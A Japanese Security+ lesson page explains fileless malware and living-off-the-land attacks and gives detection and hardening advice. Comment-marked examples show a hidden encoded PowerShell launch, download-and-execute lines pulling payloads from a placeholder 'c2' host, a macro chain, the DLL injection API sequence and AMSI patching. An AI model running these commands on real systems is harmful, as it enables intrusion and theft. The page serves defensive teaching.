ファイルレスマルウェアとLiving-off-the-Land攻撃
ファイルレスマルウェアが正規のツール(PowerShell、WMI、マクロ)を悪用し、従来のシグネチャベース検知を回避する仕組みを学びます。
「ファイルレスマルウェアとLiving-off-the-Land攻撃」はCoddyKit上の無料Cloud & IT Cert Prepレッスンです。 これはレッスン4/4です。 下記で完全なレッスンを無料で読むことができます。その後、ブラウザ内の組み込みコードエディタと24時間対応のAIチューターでハンズオン演習できます。 これはCloud & IT Cert Prep学習パスの一部であり、ウェブとCoddyKitアプリ全体で進捗が同期されます。 Cloud & IT Cert Prepコースには全4レッスンが含まれています。
ファイルレス攻撃が非常に有効な理由
従来のマルウェアは実行可能ファイルをディスクに書き込むため、シグネチャベースのウイルス対策ソフトがスキャンして検出する機会があります。ファイルレスマルウェアは完全にメモリ上で動作するか、すでにインストールされている正規のツールを悪用するため、AVが検出できる従来型のマルウェアファイルを残しません。その結果、シグネチャベースのツールに対する検出率が大幅に低下します。セキュリティベンダーの報告によると、ファイルレスマルウェア攻撃はファイルベースの攻撃より成功する可能性が10倍高いとされています。2016年のBangladesh Bank強盗、2017年のPetya/NotPetya亜種、そして数多くの国家支援型の侵入では、永続化を維持し検出を回避するためにファイルレス技術が利用されました。
Living-off-the-Land(LotL)技術
Living-off-the-Land(LotL)攻撃は、被害者のシステムにすでに存在する正規のツールやユーティリティを使って悪意のある操作を実行します。PowerShell、WMI、certutil、mshta、regsvr32、rundll32などのツールは正規の用途があるため、OSやセキュリティソフトウェアから信頼されています。組み込みツールだけを使用する攻撃者は、通常の管理作業に紛れ込むことができます。防御側の課題は、これらのツールの悪意のある使用と正当な管理作業を見分けることです。そのため、LotL技術に対しては、シグネチャ検出よりも振る舞い分析とコンテキスト認識のほうが効果的です。
# Common LotL (LOLBins - Living Off the Land Binaries):
# certutil.exe - download files from internet
# mshta.exe - execute HTA (HTML Application) scripts
# regsvr32.exe - execute DLL or scriptlets remotely (Squiblydoo)
# rundll32.exe - execute DLL exports
# wmic.exe - WMI queries and lateral movement
# bitsadmin.exe - download/upload via BITS service
# powershell.exe - nearly unlimited capability
# cmstp.exe - bypass UAC, run scripts攻撃ツールとしてのPowerShell
PowerShellは、最小限の痕跡でメモリ上から実行でき、完全な.NET Framework、WMI、Windows APIへアクセスできるため、最も悪用されているLotLツールです。攻撃者はPowerShellスクリプトをディスクに書き込まずに直接メモリへダウンロードし、ログによる検出を回避するためにコマンドをBase64でエンコードし、リフレクションなどの機能を使って.NETアセンブリをメモリに読み込みます。EmpireやCobalt Strikeのフレームワークは、侵害後の活動でPowerShellに大きく依存しています。防御策には、PowerShell Constrained Language Mode、ScriptBlock Logging(デコード後のスクリプト内容を記録します)、Module Logging、およびGroup PolicyによるPowerShell実行者の制限があります。
# PowerShell attack example (educational):
# Download and execute payload entirely in memory:
# powershell.exe -NoP -NonI -Exec Bypass -W Hidden -Enc <base64>
# IEX (New-Object Net.WebClient).DownloadString('http://c2/payload.ps1')
# Defense: Enable PowerShell logging (Group Policy):
# Computer Config -> Admin Templates -> Windows Components
# -> Windows PowerShell
# Turn on PowerShell Script Block Logging: Enabled
# Turn on Module Logging: Enabled
# Turn on Transcription: Enabled永続化とラテラルムーブメントにおけるWMI
WMI(Windows Management Instrumentation)は、システム管理に利用される強力なWindows機能ですが、攻撃者はこれを永続化やラテラルムーブメントに悪用します。WMIイベントサブスクリプションは、指定したイベント(5分ごと、ログオン時、特定のプロセスの開始時など)が発生したときにコマンドを実行します。こうしたサブスクリプションは再起動後も有効で、WMIリポジトリに保存されます。また、従来のスケジュールタスクやレジストリのRunキーとして表示されないため、多くの永続化検出ツールを回避できます。攻撃者はWMIを使用して、DCOM(ポート135)経由でリモートシステム上のプロセスを実行し、ネットワーク共有を使わずにラテラルムーブメントを行うこともできます。
# WMI event subscription for persistence (educational):
# Filter: every 5 minutes
# Consumer: execute powershell command
# Binding: connect filter to consumer
#
# Detection:
# Monitor WMI subscriptions:
Get-WMIObject -Namespace root\subscription -Class __EventFilter
Get-WMIObject -Namespace root\subscription -Class CommandLineEventConsumer
Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding
# Sysmon Event ID 19/20/21: WMI events loggedプロセスインジェクション技術
プロセスインジェクションを使うと、マルウェアは正規で信頼されたプロセス(explorer.exe、svchost.exe、notepad.exe)のアドレス空間内で悪意のあるコードを実行できます。悪意のあるコードは、そのプロセスの権限とIDを引き継ぐため、ネットワーク接続が信頼されたアプリケーションからのものに見えます。一般的なインジェクション技術には、DLLインジェクション(悪意のあるDLLを別のプロセスに読み込ませる)、プロセスハロウイング(プロセスを一時停止状態で作成し、そのコードをアンマップして悪意のあるコードに置き換える)、リフレクティブDLLインジェクション(ディスクに書き込まず、メモリから直接DLLを読み込む)があります。EDRツールは、API呼び出しのシーケンス(OpenProcess、VirtualAllocEx、WriteProcessMemory、CreateRemoteThread)を監視してインジェクションを検出します。
# DLL injection API sequence:
# 1. OpenProcess(PROCESS_ALL_ACCESS, target_pid)
# 2. VirtualAllocEx(target, NULL, dll_path_len, MEM_COMMIT, PAGE_READWRITE)
# 3. WriteProcessMemory(target, alloc_addr, dll_path, dll_path_len)
# 4. CreateRemoteThread(target, NULL, 0, LoadLibraryA, alloc_addr)
# Sysmon rules to detect injection:
# Event ID 8: CreateRemoteThread
# Event ID 10: ProcessAccess (targetted process opened)
# Event ID 25: ProcessTampering (image changed in memory)マクロ付きドキュメントを侵入経路に利用する攻撃
多くのファイルレス攻撃チェーンは、VBAマクロを含む悪意のあるOfficeドキュメントから始まります。ユーザーがドキュメントを開き、「このドキュメントを表示するにはコンテンツを有効にしてください」のようなメッセージに誘導されてマクロを有効にすると、マクロがPowerShellを実行し、ペイロードを直接メモリにダウンロードして実行します。ディスクに触れるのは元のOfficeドキュメントだけで、ペイロードはディスクに書き込まれません。そのため、Security+試験では、マクロの無効化とASR(Attack Surface Reduction)ルールの導入が重視されています。近年の中間者攻撃型フィッシングフレームワーク(Evilginx2など)は、認証情報を取得した後に悪意のあるドキュメントを配信し、RATを展開することもあります。
# Malicious macro flow (educational):
# 1. User receives .docm via email
# 2. User opens, clicks 'Enable Content'
# 3. VBA macro runs:
# Shell 'powershell -ep bypass -nop -c "IEX(New-Object Net.WebClient).DownloadString(''http://c2/stage2.ps1'')"'
# 4. PowerShell downloads stage2 into memory
# 5. stage2 runs shellcode / loads Cobalt Strike Beacon in memory
# 6. No malware files on disk; only the .docm exists
# ASR rule to block:
# 'Block all Office applications from creating child processes'AMSI:Antimalware Scan Interface
AMSI(Antimalware Scan Interface)は、アプリケーション(PowerShell、VBScript、JScript、Office)が実行時にコンテンツをインストール済みのウイルス対策エンジンへ送信し、スキャンできるようにするWindows APIです。ディスクに書き込まれる前であってもスキャンできるため、AMSIによってAVベンダーは、ファイルベースのスキャンでは見えないスクリプトの内容を検査できます。攻撃者は、メモリ内のamsi.dllにパッチを適用してすべての送信内容に対して「clean」を返すようにしたり、シグネチャ照合を回避するためにスクリプトの内容を難読化したりして、AMSIのバイパスを試みます。EDRツールは、ファイルレス攻撃活動の兆候としてAMSIへのパッチ適用の試みを監視します。
# How AMSI works:
# PowerShell/WScript calls AmsiScanBuffer() before execution
# Windows Defender (or other AV) scans the buffer
# If malicious: AMSI returns AMSI_RESULT_DETECTED -> execution blocked
# AMSI bypass attempts to detect (Sysmon/EDR):
# Memory write to amsi.dll: patch AmsiScanBuffer to always return 0
# Unloading amsi.dll from process memory
# PowerShell Constrained Language Mode + AMSI = stronger defenseファイルレス攻撃の検出
ファイルレスマルウェアを検出するには、ファイルベースの検出から振る舞い監視へ移行する必要があります。主な検出方法は次のとおりです。PowerShell ScriptBlock Loggingは、コマンドラインでエンコードされている場合でもデコード後のスクリプト内容を取得します。Sysmonは、完全なコマンドラインを伴うプロセス作成、プロセスとの関連付けを含むネットワーク接続、レジストリの変更を記録します。EDRの振る舞いルールは、疑わしいプロセス関係(WordがPowerShellを起動する、PowerShellがcmdを起動する、certutilが実行可能ファイルをダウンロードするなど)を検知して警告します。Windows Event Forwardingは、これらのログを一元的なSIEMへ送信し、相関分析と長期保存を可能にします。
# Sysmon detection rules for LotL:
# Event ID 1: Process creation
# Alert if: Word.exe spawns cmd.exe or powershell.exe
# Alert if: certutil.exe with -urlcache -f parameters
# Alert if: mshta.exe with remote URL argument
# Event ID 3: Network connection
# Alert if: powershell.exe initiates outbound connection
# Alert if: mshta.exe connects to non-Microsoft IPs
# Event ID 7: Image loaded
# Alert if: known-bad DLL loaded into legitimate processLotLツールの使用制限
組織は、強力なツールを実行できるユーザーを制限することで、LotL攻撃の攻撃対象領域を縮小できます。PowerShell Constrained Language Modeは、攻撃者が依存する.NET呼び出し、COMオブジェクト、リフレクションを制限します。AppLockerとWDAC(Windows Defender Application Control)を使うと、管理者以外のユーザーが特定のバイナリを実行できないようにできます。LOLBAS projectは、既知のLotLバイナリとその攻撃技術をまとめており、防御側が監視または制限すべきバイナリを特定するのに役立ちます。すべてのLotLバイナリをブロックできるわけではありません(OSの機能に必要なものも多数あります)が、コンテキストを踏まえて使用状況を監視することは可能です。
# PowerShell Constrained Language Mode:
$ExecutionContext.SessionState.LanguageMode = 'ConstrainedLanguage'
# Or via WDAC policy; CLM automatically applied when WDAC is active
# AppLocker: block mshta.exe for standard users
# Computer Config -> Windows Settings -> Security Settings
# -> Application Control Policies -> AppLocker
# Executable Rules -> Add Rule -> Deny -> mshta.exe (path rule)
# WDAC (stronger than AppLocker):
# Cannot be bypassed by local admin unlike AppLocker
# Enforced at kernel levelファイルレス技術に対するMITRE ATT&CKのカバレッジ
MITRE ATT&CKフレームワークは、ファイルレス技術とLotL技術を広範に文書化しています。主なサブテクニックには、T1059.001(PowerShell)、T1047(WMI実行)、T1055(プロセスインジェクション)、T1140(ファイルの難読化解除/デコード)、T1003.001(認証情報ダンピングのためのLSASSメモリ)、T1546.003(永続化のためのWMIイベントサブスクリプション)があります。ATT&CK Navigatorを使用して検出能力をこれらの技術に対応付けると、カバレッジの不足を明らかにし、SIEMルールの開発方針を立てられます。フレームワークには、各技術に対する緩和策と検出に関するガイダンスも用意されています。
ファイルレスマルウェアに対する防御のまとめ
ファイルレスマルウェアに対する多層防御戦略には、PowerShellのログ記録(ScriptBlock、Module、Transcription)の有効化、包括的な構成によるSysmonの導入、最新のAVエンジンを用いたAMSIの実装、WDACによるPowerShell Constrained Language Modeの強制、Group PolicyによるOfficeドキュメントのマクロ実行制限、振る舞い検出機能を備えたEDRの導入、既知の悪意あるプロセスチェーンを検出するルールを設定したSIEMへの全ログの転送が含まれます。攻撃対象領域の制限と可視性の向上を組み合わせることで、ファイルレス攻撃は検出されずに実行することが大幅に困難になります。
理解度チェック
このレッスンで扱ったCompTIA Security+(SY0-701)の概念について、理解度を確認します。
レッスンのまとめ
このレッスンでは、次のことを学びました。ファイルレスマルウェアはメモリ上で動作し、PowerShell、WMI、certutilなどの正規のOSツールを悪用してシグネチャベースの検出を回避します。プロセスインジェクション技術は、Windowsのメモリ管理APIを悪用して信頼されたプロセス内に悪意のあるコードを隠します。また、PowerShellのログ記録とAMSIを組み合わせたSIEM、Sysmon、EDRによる振る舞い検出が、こうしたシグネチャを回避する攻撃チェーンに対する最も強力な防御となります。次は、脆弱性スキャンとペネトレーションテストの違いについて学びます。
よくある質問
「ファイルレスマルウェアとLiving-off-the-Land攻撃」レッスンは無料ですか?
はい。「ファイルレスマルウェアとLiving-off-the-Land攻撃」の完全なテキストはこのウェブで無料で読めます。インタラクティブに演習し(組み込みコードエディタと24時間対応のAIチューター)、Cloud & IT Cert Prepコースの残りをアンロックするには、CoddyKit PROにアップグレードしてください。 Cloud & IT Cert Prepコースには全4レッスンが含まれています。
「ファイルレスマルウェアとLiving-off-the-Land攻撃」で何を学びますか?
ファイルレスマルウェアが正規のツール(PowerShell、WMI、マクロ)を悪用し、従来のシグネチャベース検知を回避する仕組みを学びます。 ブラウザで直接実行するハンズオンコードでCloud & IT Cert Prepを演習し、24時間対応のAIチューターがレッスンを進める中での質問に答えます。
Cloud & IT Cert Prepを始めるのに経験は必要ですか?
事前経験は必要ありません。CoddyKitのCloud & IT Cert Prepは初級者から上級者向けに構成されているため、ここから始めるか最初から始めて、自分のペースで進むことができます。 これはレッスン4/4です。
「ファイルレスマルウェアとLiving-off-the-Land攻撃」レッスンにはどのくらい時間がかかりますか?
ほとんどのCoddyKitレッスンは約5~10分かかります。各レッスンはコンパクトでインタラクティブなので、着実に進歩し、ウェブとアプリ全体で正確に前回の場所から再開できます。
このCloud & IT Cert Prepレッスンでコードを書いて実行できますか?
はい。すべてのCloud & IT Cert Prepレッスンに組み込みコードエディタが含まれているため、ブラウザでリアルコードを書いて実行し、即座のAIフィードバックを取得できます。ローカル設定は不要です。
このコースのすべてのレッスン
- ウイルス、ワーム、トロイの木馬
- ランサムウェアと暗号化型マルウェア
- ルートキット、スパイウェア、キーロガー
- ファイルレスマルウェアとLiving-off-the-Land攻撃